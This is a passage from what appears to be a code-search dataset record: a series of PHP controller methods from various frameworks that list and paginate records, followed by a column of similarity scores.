} else {\n $items_current_page = 1;\n }\n $items = $this->item->getItemsFront($items_current_page);\n $previous_page = $items_current_page - 1;\n $next_page = $items_current_page + 1;\n $number_of_items_pages = $this->calculate->getNumberOfPagesOfExtHome();\n $number_of_items = $this->calculate->getTotalOfItemsHome();\n $number_of_cards = $this->calculate->getTotalOfCards();\n $number_of_links = $this->calculate->getTotalOfLinks();\n $this->generateView(array(\n 'items' => $items,\n 'number_of_items' => $number_of_items,\n 'number_of_cards' => $number_of_cards,\n 'number_of_links' => $number_of_links,\n 'items_current_page' => $items_current_page,\n 'previous_page' => $previous_page,\n 'next_page' => $next_page,\n 'number_of_items_pages' => $number_of_items_pages\n ));\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function show(array $params = []);", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function action_index()\n {\n\t\ttry\n\t\t{\n\t\t\t$this->rest_output( $this->_rest->getData($this->_params) );\n\t\t}\n\t\tcatch (Kohana_HTTP_Exception $khe)\n\t\t{\n\t\t\t$this->_error($khe);\n\t\t\treturn;\n\t\t}\n\t\tcatch (Kohana_Exception $e)\n\t\t{\n\t\t\t$this->_error('An internal error has occurred', 500);\n\t\t\tthrow $e;\n\t\t}\n \t\n }", "public function indexAction() {\n\n\t\t//GET NAVIGATION\n $this->view->navigation = Engine_Api::_()->getApi('menus', 'core')\n ->getNavigation('list_admin_main', array(), 'list_admin_main_viewlist');\n\n\t\t//MAKE FORM\n $this->view->formFilter = $formFilter = new List_Form_Admin_Manage_Filter();\n\n\t\t//GET PAGE NUMBER\n $page = $this->_getParam('page', 1);\n\n\t\t//GET USER TABLE NAME\n $tableUserName = Engine_Api::_()->getItemTable('user')->info('name');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = $tableCategory = Engine_Api::_()->getDbtable('categories', 'list');\n\n\t\t//GET LISTING TABLE\n $tableListing = Engine_Api::_()->getDbtable('listings', 'list');\n $listingTableName = $tableListing->info('name');\n\n\t\t//MAKE QUERY\n $select = $tableListing->select()\n ->setIntegrityCheck(false)\n ->from($listingTableName)\n ->joinLeft($tableUserName, \"$listingTableName.owner_id = $tableUserName.user_id\", 'username');\n\n $values = array();\n\n if ($formFilter->isValid($this->_getAllParams())) {\n $values = $formFilter->getValues();\n }\n foreach ($values as $key => $value) {\n\n if (null == $value) {\n unset($values[$key]);\n }\n }\n\n // searching\n $this->view->owner = '';\n $this->view->title = '';\n $this->view->sponsored = '';\n $this->view->approved = '';\n $this->view->featured = '';\n $this->view->status = '';\n $this->view->listingbrowse = '';\n $this->view->category_id = '';\n $this->view->subcategory_id = '';\n $this->view->subsubcategory_id = '';\n\n if (isset($_POST['search'])) {\n\n if (!empty($_POST['owner'])) {\n $this->view->owner = $_POST['owner'];\n $select->where($tableUserName . '.username LIKE ?', '%' . $_POST['owner'] . '%');\n }\n\n if (!empty($_POST['title'])) {\n $this->view->title = $_POST['title'];\n $select->where($listingTableName . '.title LIKE ?', '%' . $_POST['title'] . '%');\n }\n\n if (!empty($_POST['sponsored'])) {\n $this->view->sponsored = $_POST['sponsored'];\n $_POST['sponsored']--;\n\n $select->where($listingTableName . '.sponsored = ? ', $_POST['sponsored']);\n }\n\n if (!empty($_POST['approved'])) {\n $this->view->approved = $_POST['approved'];\n $_POST['approved']--;\n $select->where($listingTableName . '.approved = ? ', $_POST['approved']);\n }\n\n if (!empty($_POST['featured'])) {\n $this->view->featured = $_POST['featured'];\n $_POST['featured']--;\n $select->where($listingTableName . '.featured = ? ', $_POST['featured']);\n }\n\n if (!empty($_POST['status'])) {\n $this->view->status = $_POST['status'];\n $_POST['status']--;\n $select->where($listingTableName . '.closed = ? ', $_POST['status']);\n }\n\n if (!empty($_POST['listingbrowse'])) {\n $this->view->listingbrowse = $_POST['listingbrowse'];\n $_POST['listingbrowse']--;\n if ($_POST['listingbrowse'] == 0) {\n $select->order($listingTableName . '.view_count DESC');\n } else {\n $select->order($listingTableName . '.creation_date DESC');\n }\n }\n\n if (!empty($_POST['category_id']) && empty($_POST['subcategory_id']) && empty($_POST['subsubcategory_id'])) {\n $this->view->category_id = $_POST['category_id'];\n $select->where($listingTableName . '.category_id = ? ', $_POST['category_id']);\n } \n\t\t\telseif (!empty($_POST['category_id']) && !empty($_POST['subcategory_id']) && empty($_POST['subsubcategory_id'])) {\n $this->view->category_id = $_POST['category_id'];\n $this->view->subcategory_id = $_POST['subcategory_id'];\n $this->view->subcategory_name = $tableCategory->getCategory($this->view->subcategory_id)->category_name;\n \n $select->where($listingTableName . '.category_id = ? ', $_POST['category_id'])\n ->where($listingTableName . '.subcategory_id = ? ', $_POST['subcategory_id']);\n }\n\t\t\telseif(!empty($_POST['category_id']) && !empty($_POST['subcategory_id']) && !empty($_POST['subsubcategory_id'])) {\n $this->view->category_id = $_POST['category_id'];\n $this->view->subcategory_id = $_POST['subcategory_id'];\n $this->view->subsubcategory_id = $_POST['subsubcategory_id'];\n $this->view->subcategory_name = $tableCategory->getCategory($this->view->subcategory_id)->category_name;\n $this->view->subsubcategory_name = $tableCategory->getCategory($this->view->subsubcategory_id)->category_name;\n \n $select->where($listingTableName . '.category_id = ? ', $_POST['category_id'])\n ->where($listingTableName . '.subcategory_id = ? ', $_POST['subcategory_id'])\n\t\t\t\t\t\t->where($listingTableName . '.subsubcategory_id = ? ', $_POST['subsubcategory_id']);\n\t\t\t}\n\t\t\t\n }\n\n $values = array_merge(array(\n 'order' => 'listing_id',\n 'order_direction' => 'DESC',\n ), $values);\n\n $this->view->assign($values);\n\n $select->order((!empty($values['order']) ? $values['order'] : 'listing_id' ) . ' ' . (!empty($values['order_direction']) ? $values['order_direction'] : 'DESC' ));\n\n //MAKE PAGINATOR\n $this->view->paginator = Zend_Paginator::factory($select);\n $this->view->paginator->setItemCountPerPage(40);\n $this->view->paginator = $this->view->paginator->setCurrentPageNumber($page);\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function list(array $parameters): ListResponse;", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction() {\n\t\t$data = array('red','green','blue','yellow');\n\t\t$this->view->data = $data;\n\t}", "function all( $args )\n { \n // set the appropriate view\n\t\t$subview = array('browse_result');\n $this->view->add('subviews',$subview);\n \n \n /* ====================== \n * Get the listings model \n */\n $model = $this->app->model('listings');\n \n // get from settings, 10 as default\n $limit = $this->settings->get('per_page');\n $limit = ( $limit != null ) ? $limit : 10;\n \n // find if user has decided on some number already\n if( isset( $_SESSION['listings_per_page'] )){\n $limit = (int)$_SESSION['listings_per_page'];\n \n }\n \n // get the page number\n $page = 0;\n // convert to integer\n if( $args['page'] != null && is_numeric($args['page']) ){\n $page = ((int) $args['page'])-1;\n }\n \n \n // get result\n $result = $model->limit($limit)->page($page)->get_all();\n \n \n $count = $model->count_all();\n // set up counts\n $paginate = array(\n 'page_count' => ((int)ceil($count/$limit)),\n 'this_page' => $page+1\n );\n \n // add page count\n $this->view->add('paginate',$paginate);\n \n // add teh page action to the view\n $this->view->add('page_action',\n $this->app->form_path('browse/all') );\n \n // add the result to the view\n $this->view->add('listing_results', $result);\n }", "public function listAction()\n {\t\n\t\t$this->createActivity(\"Admin\",\"List view\");\n $em = $this->getDoctrine()->getManager();\n\t\t$oEmTeacher=$em->getRepository('BoAdminBundle:Admin');\n $admin = $oEmTeacher->getTeacherList(\"Teacher\");\n\t\t$nb_tc = count($admin);\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null) $page=1;\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$admin = $oEmTeacher->getTeacherList(\"Teacher\",$offset,$nb_cpp);\n return $this->render('admin/index.html.twig', array(\n 'admin' => $admin,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"personnel\",\n\t\t\t'sm'=>\"admin\",\n ));\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function indexAction()\n {\n $query = !empty(trim($_GET['s'])) ? trim($_GET['s']) : null;\n if($query)\n {\n $products = \\R::find('product', \"title LIKE ? AND status = '1'\", [\"%{$query}%\"]);\n }\n $this->setMeta('Поиск по: ' . h($query));\n $this->set(compact('products', 'query'));\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t list($total, $suppliers) = Fanli_Service_Ptype::getList($page, $perpage);\n\t\t$this->assign('suppliers', $suppliers);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'] . '?'));\n\t}", "public function index()\n {\n // get courses\n $offset = SCMUtility::cleanText( SCMUtility::issetOrAssign($_GET['offset'],0) );\n $limit = SCMUtility::cleanText( SCMUtility::issetOrAssign($_GET['limit'],15) );\n\n $data = Course::with('students')->skip($offset)->take($limit)->orderBy('created_at','DESC')->get();\n $data = $data->toArray();\n\n View::make('templates/front/course-list.php',compact('data'));\n }", "public function listAction()\n {\n // category argument override targetedCategories settings\n if ($this->request !== null) {\n $args = $this->request->getArguments();\n $categoryUid = $args['category'];\n\n\n if ($categoryUid !==null && !empty($categoryUid)) {\n $this->settings['targetedCategories'] = $categoryUid;\n }\n\n $news = $this->newsRepository->findAllBySettings($this->settings);\n }\n $this->view->assign('news', $news)\n ->assign('settings', $this->settings);\n }", "public function action_index()\n\t{\n\t\t $list = array(\n 'foo' => Input::get('foo'),\n 'baz' => array(\n 1, 50, 219\n ),\n 'empty' => null\n );\n\t\t$results = Articles::get_list( 10, 0);\n //print_r($results);\n\t\treturn $this->response($results, 200);\n\t}", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t$param = $this->getInput(array('model_id', 'type_id'));\n\t\t$search = array();\n\t\tif ($param['model_id'] != '') $search['model_id'] = $param['model_id'];\n\t\tif ($param['type_id'] != '') $search['type_id'] = $param['type_id'];\n\t\tlist($total, $recmarks) = Browser_Service_Recsite::getList($page, $perpage, $search);\n\t\t$this->assign('recmarks', $recmarks);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('models', Common::resetKey($this->models, 'id'));\n\t\t$this->assign('types', Common::resetKey($this->types, 'id'));\n\t\t\n\t\t$this->assign('param', $param);\n\t}", "public function indexAction() {\n\t\t$this->getFlashMessages();\n\t\t$role = new Role_Model_Role();\n\t\t$column = $this->getRequest()->getParam('column');\n\t\t$sort = $this->getRequest()->getParam('sort');\n\n\t\t$this->view->role = $this->paginate($role->fetchAll($column, $sort));\n\t\t$this->view->sort = ( $sort=='ASC') ? 'DESC' : 'ASC';\n\t}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $information = $em->getRepository('AppBundle:Information')->findAll();\n return $this->render('APIInfoBundle:information:index.html.twig', array(\n 'information' => $information,\n ));\n }", "public function indexAction() {\r\n\t\t$page = intval($this->getInput('page'));\r\n\t\t\r\n\t\t$perpage = $this->perpage;\r\n\t\t\r\n\t\tlist($total, $result) = Game_Service_Category::getList($page, $perpage);\r\n\t\t\r\n\t\t$this->assign('result', $result);\r\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'?'));\r\n\t}", "public function showAllAction () {\n $products = $this->getDoctrine()\n ->getRepository('AppBundle:Product')\n ->findAll();\n\n return $this->render('product/list.html.twig', array(\n 'products' => $products,\n ));\n }", "public function indexAction()\n {\n list($filterForm, $queryBuilder) = $this->filter();\n\n list($entities, $pagerHtml) = $this->paginator($queryBuilder);\n\n \n return array(\n 'entities' => $entities,\n 'pagerHtml' => $pagerHtml,\n 'filterForm' => $filterForm->createView(),\n );\n }", "public function listAction(){\n\n\t}", "public function actionLst()\n {\n return $this->render('lst',\n [\n 'name'=>'王聪',\n 'age'=>18,\n ]);\n }", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function indexAction() {\r\n\t\t$page = intval($this->getInput('page'));\r\n\t\t$param = $this->getInput(array('start_time','channel_id', 'ad_type', 'title'));\r\n\r\n\t\t$perpage = $this->perpage;\r\n\t\t\r\n\t\t$search = array();\r\n\t\tif($param['ad_type']) $search['ad_type'] = $param['ad_type'];\r\n\t\t$search['channel_id'] = $param['channel_id'];\r\n if(!empty($param['start_time']))$search['search_time'] = array(\r\n array('>=',strtotime($param['start_time'])),\r\n array('<',strtotime($param['start_time'])+3600*24),\r\n );\r\n if($param['title']) $search['title'] = array('LIKE', trim($param['title']));\r\n\t\tlist($total, $ads) = Gou_Service_Ad::getList($page, $perpage, $search);\r\n\t\t$this->assign('ad_types', $this->ad_types[$param['channel_id']]);\r\n\t\t$this->assign('search', $param);\r\n\t\t$this->assign('ads', $ads);\r\n\t\t$this->cookieParams();\r\n\t\t$url = $this->actions['listUrl'].'/?' . http_build_query($search) . '&';\r\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $url));\r\n\t}", "public function index()\n {\n if (\\Request::exists('all')) {\n return $this->service\n ->with(['persons'])\n ->filters($this->filter)\n ->select('id', 'name')\n ->get();\n }\n\n $order = Str::contains(\\Request::get('orderBy'), ['asc', 'desc'])\n ? \\Request::get('orderBy')\n : 'desc';\n\n return $this->service\n ->showAll()\n ->orderBy('updated_at', $order)\n ->filters($this->filter)\n ->paginate(\n request(\n 'per_page',\n \\Request::get('per_page') ?? 15\n )\n );\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "public function index() {\n\t\t$data = $this->load_module_info ();\n\t\t\n\t\t$this->layout->display_admin ( $this->folder . $this->module . \"-list\", $data );\n\t}", "function index() {\r\n \t\r\n // The default action is the showall action\r\n $this->browse();\r\n }", "public function listAction()\n {\n return $this->render('ONGRSettingsBundle:Settings:list.html.twig');\n }", "function Index()\r\n\t\t{\r\n\t\t\t$out_parameters = array('num_rows');\r\n\t\t\t$this->data[$this->name] = $this->controller_model->ListItems($this->request->get, 'sp_system_logs_list_paged', $out_parameters);\r\n\t\t\t$this->data['num_rows'] = $out_parameters['num_rows'];\r\n\t\t}", "public function actionList()\n {\n $model = new SubjectPreg();\n $params = \\Yii::$app->request->getBodyParams();\n// var_dump($params);exit;\n $dataProvider = $model->searchList($params);\n\n return $this->renderList('list', [\n 'model' => $model,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listView(): void\n {\n $this->_data = $this->_entity->fetch();\n if (!$this->special) {\n $newData = $this->_builder->submitCreate();\n if ($newData) {\n array_push($this->_data, $newData);\n }\n }\n require VF . \"{$this->route}/list.php\";\n require VF . \"{$this->route}/create.php\";\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function printlist(){\r\n\t\t$parishID = Convert::raw2sql($this->request->getVar('ParishID'));\t\t\r\n\t\tif(!$this->canAccess($parishID)){\r\n\t\t\treturn $this->renderWith(array('Unathorised_access', 'App'));\r\n\t\t}\r\n\t\t\r\n\t\t$this->title = 'Media list';\t\t\r\n\t\treturn $this->renderWith(array('Media_printresults','Print'));\r\n\t}", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function indexAction()\n\t{\n\t\t$SERVERS = new Servers;\n\n\t\t// class Paginator\n\t\t// разобраться здесь, тотал должен адоптироваться под гет параметры, поиска, и ид севрера\n\t\t$p_page = isset($_GET['page']) ? (int)$_GET['page'] : 1;\n\t\t$p_perPage = 10;\n\t\t$request = $this->model->sqlRequest($_GET, $p_page, $p_perPage);\n\t\t$p_total = $request['total'];\n\t\t$p_start = $request['start'];\n\n\t\t$P_PAGINATOR = new Paginator($p_page, $p_perPage, $p_total);\n\t\t// $p_data = $this->model->getData($_GET, $p_start, $p_perPage);\n\t\t$p_data = $request['sql'];\n\n\t\t$vars = [\n\t\t\t'allBans'\t\t=> $this->model->getAllBans(),\n\t\t\t'model'\t\t\t=> $this->model,\n\t\t\t'allServers'\t=> $this->model->getAllServers(),\n\t\t\t'SERVERS'\t\t=> $SERVERS,\n\t\t\t'count_serv'\t=> $SERVERS->getCountAllServers(),\n\t\t\t'paginator'\t\t=> $P_PAGINATOR,\n\t\t\t'data'\t\t\t=> $p_data,\n\t\t\t'dataTotalRows'\t=> $p_total,\n\t\t];\n\t\t$this->view->render(Config::get('NAME') . ' - Банлист', $vars);\n\t}", "public function _index(){\n\t $this->_list();\n\t}", "public function indexAction() {\n\t\t$viewer_id = Engine_Api::_()->user()->getViewer()->getIdentity();\n\t\tif(empty($viewer_id)) {\n\t\t\treturn $this->setNoRender();\n }\n\n\t\t//DONT RENDER IF SUBJECT IS NOT SET\n if (!Engine_Api::_()->core()->hasSubject()) {\n return $this->setNoRender();\n }\n\n\t\t//GET LIST SUBJECT\n\t\t$subject = Engine_Api::_()->core()->getSubject();\n\t\t$this->view->resource_type = $resource_type = $subject->getType(); \n\t\t$this->view->resource_id = $resource_id = $subject->getIdentity();\n\t\t$seaocoreLike = Engine_Api::_()->getApi('like', 'seaocore');\n $this->view->paginator = $paginator = $seaocoreLike->peopleLike($resource_type, $resource_id);\n\n // Set item count per page and current page number\n $this->view->paginator = $paginator->setItemCountPerPage(10)->setCurrentPageNumber($this->_getParam('page', 1));\n $this->_childCount = $paginator->getTotalItemCount();\n\n if($paginator->getTotalItemCount() <= 0 ) \n return $this->setNoRender();\n\n\t}", "public function show_list()\n {\n $this->output('Workstatus/v_workstatus_ajax');\n }", "public function showListAction() {\n $users = $this->getDoctrine()\n ->getRepository(User::class)\n ->findAll();\n return $this->render(':Security\\User:users.html.twig', [\n 'users' => $users\n ]);\n }", "public function actionList() {\n $criteria = new CDbCriteria();\n //$criteria->index = \"id\";\n $criteria->order = \"id desc\";\n $count = EpcModelTemp::model()->count($criteria);\n $pages = new CPagination($count);\n $pages->pageSize = $_GET['rows'];\n $pages->applyLimit($criteria);\n //EpcModelTemp::model()->scenario='list';\n $models = EpcModelTemp::model()->findAll($criteria);\n // 转换成数组\n $rows = array();\n foreach ($models as $model) {\n $rows[] = $model->attributes;\n }\n $rs = array('total' => $count, 'rows' => $rows);\n echo CJSON::encode($rs);\n }", "public function showall()\n {\n }" ]
[ "0.77315074", "0.7435692", "0.72278994", "0.72195476", "0.7219459", "0.71886903", "0.7045783", "0.7033005", "0.69769424", "0.69389826", "0.69034684", "0.69004434", "0.68559855", "0.683062", "0.6827898", "0.68177706", "0.68029237", "0.68022925", "0.679395", "0.6767834", "0.67603815", "0.6753915", "0.67397416", "0.67054904", "0.67048025", "0.6695498", "0.6695011", "0.668145", "0.6649663", "0.66408217", "0.66373104", "0.6630717", "0.6623112", "0.6622753", "0.661333", "0.66116774", "0.66045946", "0.66028994", "0.66028994", "0.66028994", "0.65981746", "0.659402", "0.65656507", "0.6561823", "0.6556752", "0.65438867", "0.6542562", "0.653442", "0.65326434", "0.6521513", "0.651561", "0.6505972", "0.64933103", "0.64922976", "0.6492198", "0.6479471", "0.64770705", "0.6477059", "0.64756745", "0.6473425", "0.6472641", "0.64612585", "0.64543384", "0.6451467", "0.6447796", "0.6446776", "0.6443466", "0.6443063", "0.6430736", "0.64274126", "0.64214784", "0.64212906", "0.64114314", "0.640971", "0.6397764", "0.63938046", "0.63919055", "0.6389347", "0.638446", "0.63772357", "0.63721836", "0.63702595", "0.6369127", "0.63662595", "0.6362372", "0.6355705", "0.6355505", "0.6354092", "0.6353227", "0.6351926", "0.63503605", "0.6349034", "0.6346201", "0.634611", "0.63452405", "0.6341974", "0.6334685", "0.6332401", "0.632398", "0.6319217", "0.6317161" ]
0.0
-1
Display a listing of the resource.
public function getCategoryDataFront() { // Get Categorys $categories = CategoryWiseSpecification::orderBy('updated_at', 'desc')->Where('deactivate', 0)->take(4)->get(); foreach($categories as $categoryWiseResource) { $files = explode(",", $categoryWiseResource['file']); $categoryWiseResource['attachments'] = Attachment::WhereIn('id', $files)->get(); } // Return collection of Categorys as a resource return CategoryWiseSpecificationResouerce::collection($categories); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = 